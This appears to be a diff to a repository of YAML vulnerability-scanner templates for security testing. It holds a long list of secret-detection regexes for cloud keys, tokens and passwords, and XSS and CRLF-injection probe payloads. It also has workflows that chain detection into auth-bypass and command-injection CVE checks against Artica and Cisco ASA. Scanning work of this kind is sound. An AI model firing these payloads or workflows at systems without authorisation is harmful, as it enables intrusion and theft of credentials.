+          - "docker[_-]?key(=| =|:| :)"
+          - "docker[_-]?hub[_-]?password(=| =|:| :)"
+          - "digitalocean[_-]?ssh[_-]?key[_-]?ids(=| =|:| :)"
+          - "digitalocean[_-]?ssh[_-]?key[_-]?body(=| =|:| :)"
+          - "digitalocean[_-]?access[_-]?token(=| =|:| :)"
+          - "dgpg[_-]?passphrase(=| =|:| :)"
+          - "deploy[_-]?user(=| =|:| :)"
+          - "deploy[_-]?token(=| =|:| :)"
+          - "deploy[_-]?secure(=| =|:| :)"
+          - "deploy[_-]?password(=| =|:| :)"
+          - "ddgc[_-]?github[_-]?token(=| =|:| :)"
+          - "ddg[_-]?test[_-]?email[_-]?pw(=| =|:| :)"
+          - "ddg[_-]?test[_-]?email(=| =|:| :)"
+          - "db[_-]?username(=| =|:| :)"
+          - "db[_-]?user(=| =|:| :)"
+          - "db[_-]?pw(=| =|:| :)"
+          - "db[_-]?password(=| =|:| :)"
+          - "db[_-]?host(=| =|:| :)"
+          - "db[_-]?database(=| =|:| :)"
+          - "db[_-]?connection(=| =|:| :)"
+          - "datadog[_-]?app[_-]?key(=| =|:| :)"
+          - "datadog[_-]?api[_-]?key(=| =|:| :)"
+          - "database[_-]?username(=| =|:| :)"
+          - "database[_-]?user(=| =|:| :)"
+          - "database[_-]?port(=| =|:| :)"
+          - "database[_-]?password(=| =|:| :)"
+          - "database[_-]?name(=| =|:| :)"
+          - "database[_-]?host(=| =|:| :)"
+          - "danger[_-]?github[_-]?api[_-]?token(=| =|:| :)"
+          - "cypress[_-]?record[_-]?key(=| =|:| :)"
+          - "coverity[_-]?scan[_-]?token(=| =|:| :)"
+          - "coveralls[_-]?token(=| =|:| :)"
+          - "coveralls[_-]?repo[_-]?token(=| =|:| :)"
+          - "coveralls[_-]?api[_-]?token(=| =|:| :)"
+          - "cos[_-]?secrets(=| =|:| :)"
+          - "conversation[_-]?username(=| =|:| :)"
+          - "conversation[_-]?password(=| =|:| :)"
+          - "contentful[_-]?v2[_-]?access[_-]?token(=| =|:| :)"
+          - "contentful[_-]?test[_-]?org[_-]?cma[_-]?token(=| =|:| :)"
+          - "contentful[_-]?php[_-]?management[_-]?test[_-]?token(=| =|:| :)"
+          - "contentful[_-]?management[_-]?api[_-]?access[_-]?token[_-]?new(=| =|:| :)"
+          - "contentful[_-]?management[_-]?api[_-]?access[_-]?token(=| =|:| :)"
+          - "contentful[_-]?integration[_-]?management[_-]?token(=| =|:| :)"
+          - "contentful[_-]?cma[_-]?test[_-]?token(=| =|:| :)"
+          - "contentful[_-]?access[_-]?token(=| =|:| :)"
+          - "consumerkey(=| =|:| :)"
+          - "consumer[_-]?key(=| =|:| :)"
+          - "conekta[_-]?apikey(=| =|:| :)"
+          - "coding[_-]?token(=| =|:| :)"
+          - "codecov[_-]?token(=| =|:| :)"
+          - "codeclimate[_-]?repo[_-]?token(=| =|:| :)"
+          - "codacy[_-]?project[_-]?token(=| =|:| :)"
+          - "cocoapods[_-]?trunk[_-]?token(=| =|:| :)"
+          - "cocoapods[_-]?trunk[_-]?email(=| =|:| :)"
+          - "cn[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "cn[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "clu[_-]?ssh[_-]?private[_-]?key[_-]?base64(=| =|:| :)"
+          - "clu[_-]?repo[_-]?url(=| =|:| :)"
+          - "cloudinary[_-]?url[_-]?staging(=| =|:| :)"
+          - "cloudinary[_-]?url(=| =|:| :)"
+          - "cloudflare[_-]?email(=| =|:| :)"
+          - "cloudflare[_-]?auth[_-]?key(=| =|:| :)"
+          - "cloudflare[_-]?auth[_-]?email(=| =|:| :)"
+          - "cloudflare[_-]?api[_-]?key(=| =|:| :)"
+          - "cloudant[_-]?service[_-]?database(=| =|:| :)"
+          - "cloudant[_-]?processed[_-]?database(=| =|:| :)"
+          - "cloudant[_-]?password(=| =|:| :)"
+          - "cloudant[_-]?parsed[_-]?database(=| =|:| :)"
+          - "cloudant[_-]?order[_-]?database(=| =|:| :)"
+          - "cloudant[_-]?instance(=| =|:| :)"
+          - "cloudant[_-]?database(=| =|:| :)"
+          - "cloudant[_-]?audited[_-]?database(=| =|:| :)"
+          - "cloudant[_-]?archived[_-]?database(=| =|:| :)"
+          - "cloud[_-]?api[_-]?key(=| =|:| :)"
+          - "clojars[_-]?password(=| =|:| :)"
+          - "client[_-]?secret(=| =|:| :)"
+          - "cli[_-]?e2e[_-]?cma[_-]?token(=| =|:| :)"
+          - "claimr[_-]?token(=| =|:| :)"
+          - "claimr[_-]?superuser(=| =|:| :)"
+          - "claimr[_-]?db(=| =|:| :)"
+          - "claimr[_-]?database(=| =|:| :)"
+          - "ci[_-]?user[_-]?token(=| =|:| :)"
+          - "ci[_-]?server[_-]?name(=| =|:| :)"
+          - "ci[_-]?registry[_-]?user(=| =|:| :)"
+          - "ci[_-]?project[_-]?url(=| =|:| :)"
+          - "ci[_-]?deploy[_-]?password(=| =|:| :)"
+          - "chrome[_-]?refresh[_-]?token(=| =|:| :)"
+          - "chrome[_-]?client[_-]?secret(=| =|:| :)"
+          - "cheverny[_-]?token(=| =|:| :)"
+          - "cf[_-]?password(=| =|:| :)"
+          - "certificate[_-]?password(=| =|:| :)"
+          - "censys[_-]?secret(=| =|:| :)"
+          - "cattle[_-]?secret[_-]?key(=| =|:| :)"
+          - "cattle[_-]?agent[_-]?instance[_-]?auth(=| =|:| :)"
+          - "cattle[_-]?access[_-]?key(=| =|:| :)"
+          - "cargo[_-]?token(=| =|:| :)"
+          - "cache[_-]?s3[_-]?secret[_-]?key(=| =|:| :)"
+          - "bx[_-]?username(=| =|:| :)"
+          - "bx[_-]?password(=| =|:| :)"
+          - "bundlesize[_-]?github[_-]?token(=| =|:| :)"
+          - "built[_-]?branch[_-]?deploy[_-]?key(=| =|:| :)"
+          - "bucketeer[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "bucketeer[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "browserstack[_-]?access[_-]?key(=| =|:| :)"
+          - "browser[_-]?stack[_-]?access[_-]?key(=| =|:| :)"
+          - "brackets[_-]?repo[_-]?oauth[_-]?token(=| =|:| :)"
+          - "bluemix[_-]?username(=| =|:| :)"
+          - "bluemix[_-]?pwd(=| =|:| :)"
+          - "bluemix[_-]?password(=| =|:| :)"
+          - "bluemix[_-]?pass[_-]?prod(=| =|:| :)"
+          - "bluemix[_-]?pass(=| =|:| :)"
+          - "bluemix[_-]?auth(=| =|:| :)"
+          - "bluemix[_-]?api[_-]?key(=| =|:| :)"
+          - "bintraykey(=| =|:| :)"
+          - "bintray[_-]?token(=| =|:| :)"
+          - "bintray[_-]?key(=| =|:| :)"
+          - "bintray[_-]?gpg[_-]?password(=| =|:| :)"
+          - "bintray[_-]?apikey(=| =|:| :)"
+          - "bintray[_-]?api[_-]?key(=| =|:| :)"
+          - "b2[_-]?bucket(=| =|:| :)"
+          - "b2[_-]?app[_-]?key(=| =|:| :)"
+          - "awssecretkey(=| =|:| :)"
+          - "awscn[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "awscn[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "awsaccesskeyid(=| =|:| :)"
+          - "aws[_-]?ses[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "aws[_-]?ses[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "aws[_-]?secrets(=| =|:| :)"
+          - "aws[_-]?secret[_-]?key(=| =|:| :)"
+          - "aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "aws[_-]?secret(=| =|:| :)"
+          - "aws[_-]?key(=| =|:| :)"
+          - "aws[_-]?config[_-]?secretaccesskey(=| =|:| :)"
+          - "aws[_-]?config[_-]?accesskeyid(=| =|:| :)"
+          - "aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "aws[_-]?access[_-]?key(=| =|:| :)"
+          - "aws[_-]?access(=| =|:| :)"
+          - "author[_-]?npm[_-]?api[_-]?key(=| =|:| :)"
+          - "author[_-]?email[_-]?addr(=| =|:| :)"
+          - "auth0[_-]?client[_-]?secret(=| =|:| :)"
+          - "auth0[_-]?api[_-]?clientsecret(=| =|:| :)"
+          - "auth[_-]?token(=| =|:| :)"
+          - "assistant[_-]?iam[_-]?apikey(=| =|:| :)"
+          - "artifacts[_-]?secret(=| =|:| :)"
+          - "artifacts[_-]?key(=| =|:| :)"
+          - "artifacts[_-]?bucket(=| =|:| :)"
+          - "artifacts[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "artifacts[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "artifactory[_-]?key(=| =|:| :)"
+          - "argos[_-]?token(=| =|:| :)"
+          - "apple[_-]?id[_-]?password(=| =|:| :)"
+          - "appclientsecret(=| =|:| :)"
+          - "app[_-]?token(=| =|:| :)"
+          - "app[_-]?secrete(=| =|:| :)"
+          - "app[_-]?report[_-]?token[_-]?key(=| =|:| :)"
+          - "app[_-]?bucket[_-]?perm(=| =|:| :)"
+          - "apigw[_-]?access[_-]?token(=| =|:| :)"
+          - "apiary[_-]?api[_-]?key(=| =|:| :)"
+          - "api[_-]?secret(=| =|:| :)"
+          - "api[_-]?key[_-]?sid(=| =|:| :)"
+          - "api[_-]?key[_-]?secret(=| =|:| :)"
+          - "api[_-]?key(=| =|:| :)"
+          - "aos[_-]?sec(=| =|:| :)"
+          - "aos[_-]?key(=| =|:| :)"
+          - "ansible[_-]?vault[_-]?password(=| =|:| :)"
+          - "android[_-]?docs[_-]?deploy[_-]?token(=| =|:| :)"
+          - "anaconda[_-]?token(=| =|:| :)"
+          - "amazon[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "amazon[_-]?bucket[_-]?name(=| =|:| :)"
+          - "alicloud[_-]?secret[_-]?key(=| =|:| :)"
+          - "alicloud[_-]?access[_-]?key(=| =|:| :)"
+          - "alias[_-]?pass(=| =|:| :)"
+          - "algolia[_-]?search[_-]?key[_-]?1(=| =|:| :)"
+          - "algolia[_-]?search[_-]?key(=| =|:| :)"
+          - "algolia[_-]?search[_-]?api[_-]?key(=| =|:| :)"
+          - "algolia[_-]?api[_-]?key[_-]?search(=| =|:| :)"
+          - "algolia[_-]?api[_-]?key[_-]?mcm(=| =|:| :)"
+          - "algolia[_-]?api[_-]?key(=| =|:| :)"
+          - "algolia[_-]?admin[_-]?key[_-]?mcm(=| =|:| :)"
+          - "algolia[_-]?admin[_-]?key[_-]?2(=| =|:| :)"
+          - "algolia[_-]?admin[_-]?key[_-]?1(=| =|:| :)"
+          - "adzerk[_-]?api[_-]?key(=| =|:| :)"
+          - "admin[_-]?email(=| =|:| :)"
+          - "account[_-]?sid(=| =|:| :)"
+          - "access[_-]?token(=| =|:| :)"
+          - "access[_-]?secret(=| =|:| :)"
+          - "access[_-]?key[_-]?secret(=| =|:| :)"

tokens/google-api-key.yaml

@@ -3,20 +3,13 @@ id: google-api-key
 info:
   name: Google API Key
   author: Swissky
-  severity: medium
+  severity: low
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "AIza[0-9A-Za-z\\-_]{35}"
-
     extractors:
       - type: regex
         part: body

tokens/mailchimp-api-key.yaml

@@ -8,14 +8,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "[0-9a-f]{32}-us[0-9]{1,2}"
+      - "{{BaseURL}}"
 
     extractors:
       - type: regex

tokens/slack-access-token.yaml

@@ -13,14 +13,6 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "xoxp-[0-9A-Za-z\\-]{72}"  # Person
-          - "xoxb-[0-9A-Za-z\\-]{51}"  # Bot
-
     extractors:
       - type: regex
         part: body

vulnerabilities/cached-aem-pages.yaml

@@ -1,10 +1,11 @@
 id: cached-pages-aem
 
 info:
-  name: Invalidate / Flush Cached Pages From AEM
+  name: Invalidate / Flush Cached Pages on AEM
   author: hetroublemakr
   severity: low
-  # reference: @AEMSecurity
+  description: todo
+  # reference: https://twitter.com/AEMSecurity
 
 requests:
   - method: GET

vulnerabilities/couchdb-adminparty.yaml

@@ -1,9 +1,11 @@
 id: couchdb-adminparty
+
 info:
-  name: couchdb admin party
+  name: CouchDB Admin Party
   author: organiccrap
   severity: high
-  # commonly runs on port 5984/http
+  description: Requests made against CouchDB is done in the context of an admin user.
+
 requests:
   - method: GET
     path:

vulnerabilities/crlf-injection.yaml

@@ -4,17 +4,18 @@ info:
   name: CRLF injection
   author: melbadry9 & nadino & xElkomy
   severity: low
+  description: Improper sanitization of CRLF sequences.
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
-      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"    # unicode bypass
+      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"  # unicode bypass
       - "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
       - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
       - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
-      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
-      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
+      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."  # Apache
+      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"  # CVE-2016-4975
       - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
 
     matchers:

vulnerabilities/discourse-xss.yaml

@@ -1,9 +1,10 @@
 id: Discourse XSS
 
 info:
-  name: Discourse CMS XSS
+  name: Discourse CMS - XSS
   author: madrobot
   severity: medium
+  description: Cross-site scripting (XSS) on Discourse CMS
 
 requests:
   - method: GET

vulnerabilities/eclipse-help-system-xss.yaml

@@ -0,0 +1,22 @@
+id: eclipse-help-system-xss
+
+info:
+  name: Eclipse Help System RXSS vulnerability
+  author: pikpikcu
+  severity: medium
+
+  # Source:- https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/eclipse-xss.yaml
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/help/index.jsp?view=<script>alert(document.cookie)</script>"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(document.cookie)</script>"
+        part: body

vulnerabilities/git-config-nginxoffbyslash.yaml

@@ -1,9 +1,11 @@
 id: git-config-nginxoffbyslash
 info:
-  name: Git config nginx off by slash
+  name: Nginx off-by-slash exposes Git config
   author: organiccrap
   severity: medium
   # https://twitter.com/Random_Robbie/status/1262676628167110656
+  description: Nginx off-by-slash vulnerability exposes Git configuration.
+
 requests:
   - method: GET
     path:

vulnerabilities/ibm-infoprint-directory-traversal.yaml

@@ -3,9 +3,9 @@ id: IBM InfoPrint Directory Traversal
 info:
   name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
   author: Harsh Bothra
-  severity: Medium
-
-# source:- https://www.exploit-db.com/exploits/47835
+  severity: medium
+  description: Directory traversal vulnerability on IBM InfoPrint 4247-Z03 Impact Matrix Printer.
+  # reference: https://www.exploit-db.com/exploits/47835
 
 requests:
   - method: GET

vulnerabilities/microstrategy-ssrf.yaml

@@ -1,12 +1,11 @@
 id: microstrategy-ssrf
 info:
-  name: MicroStrategy tinyurl SSRF
+  name: MicroStrategy tinyurl - BSSRF
   author: organiccrap
   severity: high
-  # https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
-  # blind ssrf
-  # /servlet/taskProc?taskId=wikiScrapper&taskEnv=xml&taskContentType=xml&searchString=https://SSRF&shouldSuggest=false&publicDataSuggestionURL=&publicDataSearchURL=&publicDataPageURL=
-  # /servlet/taskProc?taskId=validateUsherConfigTask&taskEnv=xml&taskContentType=xml&serverURL=https://SSRF
+  description: Blind server-side request forgery vulnerability on MicroStrategy URL shortener.
+  # reference: https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
+
 requests:
   - method: GET
     path:

vulnerabilities/moodle-filter-jmol-lfi.yaml

@@ -1,9 +1,10 @@
 id: moodle-filter-jmol-lfi
 
 info:
-  name: Moodle filter_jmol LFI
+  name: Moodle filter_jmol - LFI
   author: madrobot
   severity: high
+  description: Local file inclusion on Moodle.
 
 requests:
   - method: GET

vulnerabilities/moodle-filter-jmol-xss.yaml

@@ -1,9 +1,10 @@
 id: moodle-filter-jmol-xss
 
 info:
-  name: Moodle filter_jmol XSS
+  name: Moodle filter_jmol - XSS
   author: madrobot
   severity: medium
+  description: Cross-site scripting on Moodle.
 
 requests:
   - method: GET

vulnerabilities/nginx-module-vts-xss.yaml

@@ -4,6 +4,7 @@ info:
   name: Nginx virtual host traffic status module XSS
   author: madrobot
   severity: medium
+  description: todo
 
 requests:
   - method: GET

vulnerabilities/open-redirect.yaml

@@ -1,9 +1,10 @@
 id: open-redirect
 
 info:
-  name: Open Redirect Detection
+  name: Open redirect Detection
   author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
   severity: low
+  description: A user-controlled input redirect users to an external website.
 
 requests:
   - method: GET

vulnerabilities/oracle-ebs-bispgraph-file-access.yaml

@@ -1,8 +1,11 @@
 id: oracle-ebs-bispgrapgh-file-read
+
 info:
   name: Oracle EBS Bispgraph File Access
   author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
   severity: Critical
+  description: todo
+
 requests:
   - method: GET
     path:

vulnerabilities/pdf-signer-ssti-to-rce.yaml

@@ -4,6 +4,7 @@ info:
   name: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie
   author: madrobot
   severity: high
+  description: todo
 
 requests:
   - method: GET

vulnerabilities/rce-shellshock-user-agent.yaml

@@ -4,6 +4,7 @@ info:
  name: Remote Code Execution Via (User-Agent)
  author: 0xelkomy
  severity: high
+ description: todo
 
 requests:
  - method: GET

vulnerabilities/rce-via-java-deserialization.yaml

@@ -3,8 +3,8 @@ info:
   name: Java Deserialization [RCE]
   author: uhnysh
   severity: critical
-
-# This can only be used to detect the vuln, please make sure to run ysoserial over the URLs to verify.
+  description: todo
+  # This can only be used to detect the vuln, please make sure to run ysoserial over the URLs to verify.
 
 requests:
   - method: GET
@@ -18,4 +18,4 @@ requests:
         words:
           - "org.jboss.invocation.MarshalledValue"
           - "java.lang"
-        condition: or
+        condition: and

vulnerabilities/sick-beard-xss.yaml

@@ -0,0 +1,24 @@
+id: sick-beard-xss
+
+# Vendor Homepage: https://sickbeard.com/
+# Software Link: https://github.com/midgetspy/Sick-Beard
+# shodan dork: sickbeard
+
+info:
+  name: Sick Beard XSS
+  author: pikpikcu
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=<svg/onload=alert(document.domain)>"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <svg/onload=alert(document.domain)>
+        part: body

vulnerabilities/springboot-actuators-jolokia-xxe.yaml

@@ -4,6 +4,7 @@ info:
   name: Spring Boot Actuators (Jolokia) XXE
   author: dwisiswant0
   severity: high
+  description: todo
 
 requests:
   - method: GET

vulnerabilities/symfony-debugmode.yaml

@@ -3,7 +3,8 @@ info:
   name: Symfony Debug Mode
   author: organiccrap
   severity: high
-  # https://github.com/synacktiv/eos
+  description: todo
+  # reference: https://github.com/synacktiv/eos
 requests:
   - method: GET
     path:

vulnerabilities/tikiwiki-reflected-xss.yaml

@@ -4,6 +4,7 @@ info:
   name: Tiki Wiki CMS Groupware 5.2 Reflected Cross-site Scripting
   author: madrobot
   severity: medium
+  description: todo
 
 requests:
   - method: GET

vulnerabilities/wems-manager-xss.yaml

@@ -0,0 +1,24 @@
+id: wems-manager-xss
+
+info:
+  name: WEMS Enterprise Manager XSS
+  author: pikpikcu
+  severity: medium
+
+  # Source
+  # https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
+  # https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/wems-enterprise-xss.yaml
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/guest/users/forgotten?email="><script>confirm(document.domain)</script>'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>confirm(document.domain)</script>'
+        part: body

workflows/artica-web-proxy-workflow.yaml

@@ -0,0 +1,18 @@
+id: artica-web-proxy-workflow
+
+info:
+  name: Artica Web Proxy Workflows
+  author: dwisiswant0 & pdteam
+
+variables:
+  artica_tech: technologies/artica-web-proxy-detect.yaml
+  artica_auth_bypass: cves/CVE-2020-17506.yaml
+  artica_os_command_inject: cves/CVE-2020-17505.yaml
+
+logic:
+  |
+  if artica_tech() {
+    if artica_auth_bypass() {
+      artica_os_command_inject()
+    }
+  }

workflows/cisco-asa-workflow.yaml

@@ -0,0 +1,19 @@
+id: cisco-asa-workflow
+
+info:
+  name: Cisco ASA Pwner
+  author: flag007
+
+variables:
+  ciscoasa: panels/cisco-asa-panel.yaml
+  ciscoasa_cve_2020_3187: cves/CVE-2020-3187.yaml
+  ciscoasa_cve_2020_3452: cves/CVE-2020-3452.yaml
+  ciscoasa_cve_2018_0296: cves/CVE-2018-0296.yaml
+
+logic:
+  |
+  if ciscoasa() {
+    ciscoasa_cve_2020_3187()
+    ciscoasa_cve_2020_3452()
+    ciscoasa_cve_2018_0296()
+  }